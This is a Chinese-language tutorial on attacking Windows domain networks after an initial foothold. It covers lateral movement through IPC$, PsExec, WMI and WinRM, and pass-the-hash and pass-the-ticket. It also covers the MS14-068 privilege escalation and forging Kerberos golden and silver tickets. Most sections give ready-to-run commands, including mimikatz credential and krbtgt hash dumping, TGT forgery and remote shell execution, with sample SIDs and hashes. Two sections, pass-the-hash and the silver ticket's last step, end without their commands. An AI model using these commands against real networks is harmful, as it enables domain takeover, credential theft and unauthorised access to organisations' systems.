攻擊者借助跳板機進一步入侵內網服務器后,接着會通過各種方式來獲取目標系統權限,獲取用戶的明文密碼或Hash值在內網中橫向移動。
最簡單的方式,就是使用明文密碼進行登錄遠程服務器。在這里,我們來總結一下Windows橫向移動的思路與攻擊手法。
1、IPC連接
通過驗證用戶名和密碼建立與目標機器的IPC$會話連接,查看遠程主機的共享資源,執行上傳/下載,創建計划任務等操作。
net use \\<DC的IP>\ipc$ "password" /user:"username"
2、PsExec
PsExec是一個輕量級的telnet替代品,它允許您在其他系統上執行進程,並為控制台應用程序提供完整的交互性,而無需手動安裝客戶端軟件。
下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
返回一個交互式shell:
psexec.exe \\10.1.1.1 -u administrator -p abc123! cmd.exe
同時,Metasploit下也集成了PsExec模塊。
3、WMI
WMI即Windows管理規范 是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配置、管理和監視幾乎所有的 Windows 資源。
遠程創建進程:
wmic /node:10.1.1.1 /user:administrator /password:abc123! process call create "cmd.exe /c ipconfig"
4、WinRM
WinRM指的是Windows遠程管理服務,通過遠程連接winRM模塊可以操作windows命令行,默認監聽端口5985(HTTP)&5986 (HTTPS),在2012以后默認開啟。
winrs -r:http://10.1.1.1:5985 -u:administrator -p:abc123! "whoami /all"
5、哈希傳遞攻擊(Pass the hash)
獲取目標用戶的哈希,攻擊者就可以使用用戶的哈希來來模擬用戶,獲取用戶訪問權限。
MSF 提供了psexec模塊可以進行Hash傳遞,只使用密碼哈希,來執行任意命令:
6、票據傳遞攻擊(Pass the ticket)
獲取域控權限后,就可以導出域控內存中的Ticket,用來登錄域控。
攻擊流程:
第一步:使用mimikatz導出內存中的ticket
mimikatz# sekurlsa::tickets /export
第二步:挑選一個文件,在普通用戶的主機進行導入。
第三步:獲取域控權限
7、MS14-068
MS14068是一個能夠使普通用戶提權到域控權限的權限提升漏洞。攻擊者可以通過構造特定的請求包來達到提升權限的目的。前提是需要在域控主機查看是否安裝了KB3011780補丁。
攻擊流程:
第一步:利用MS14-068偽造生成TGT
MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com
第二步:利用mimikatz將工具得到的TGT票據寫入內存,創建緩存證書
mimikatz#kerberos::ptc TGT_bypass@test.com.ccache
第三步:獲取權限
PsExec.exe \\dc cmd.exe
8、黃金票據(Golden Ticket)
黃金票據的原理就是用krbtgt的hash來偽造TGT,只要擁有了高權限的TGT,就可以發送給TGS換取任意服務的ST。
第一步:獲取krbtgt的SID和哈希
通過mimikatz命令直接獲取krbtgt的SID值和哈希值。
lsadump::dcsync /domain:test.com /user:krbtgt
第二步:偽造黃金票據
使用mimikatz偽造TGT
kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /krbtgt:dc717a226a07d0f6adbcd9c0337c6513 /ticket:golden.kiribi
第三步:獲取權限
清空本地票據緩存,導入偽造的黃金票據。
kerberos::list #查看本地保存的票據
kerberos::purge #清空本地票據緩存
kerberos::ptt golden.kiribi #導入偽造的黃金票據
kerberos::list #重新查看本地保存的票據
第四步:利用偽造的黃金票據
直接利用PsExec.exe來遠程登錄和執行命令
PsExec.exe \\dc cmd.exe
9、白銀票據(Silver Tickets)
白銀票據(Silver Tickets)的原理是偽造 ST(Service Ticket),因此無需經過KDC,直接使用用戶賬戶的hash進行加密,就可以獲取指定的訪問權限。
偽造的票據只對部分服務起作用,可以利用的服務有以下幾種:
Service Type | Service Silver Tickers |
---|---|
WMI | HOST、RPCSS |
Powershell Remoteing | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | HOST |
LDAP、DCSync | LDAP |
Windows File Share(CIFS) | CIFS |
Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
第一步:構建場景
同一個域控下的兩台主機,使用文件共享方式來訪問win-server的文件,提示“拒絕訪問”。
第二步 獲取NTLM HASH
登錄win-server 服務器,使用mimikatz導出hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
第三步:偽造票據
kerberos::golden /domain:test.com /sid:S-1-5-21-735015318-3972860336-672499796 /rc4:943434a10b5134c0b1ef5e8f1ef9b020 /user:test /service:cifs /target:win-server.test.com /ptt
第四步:訪問共享文件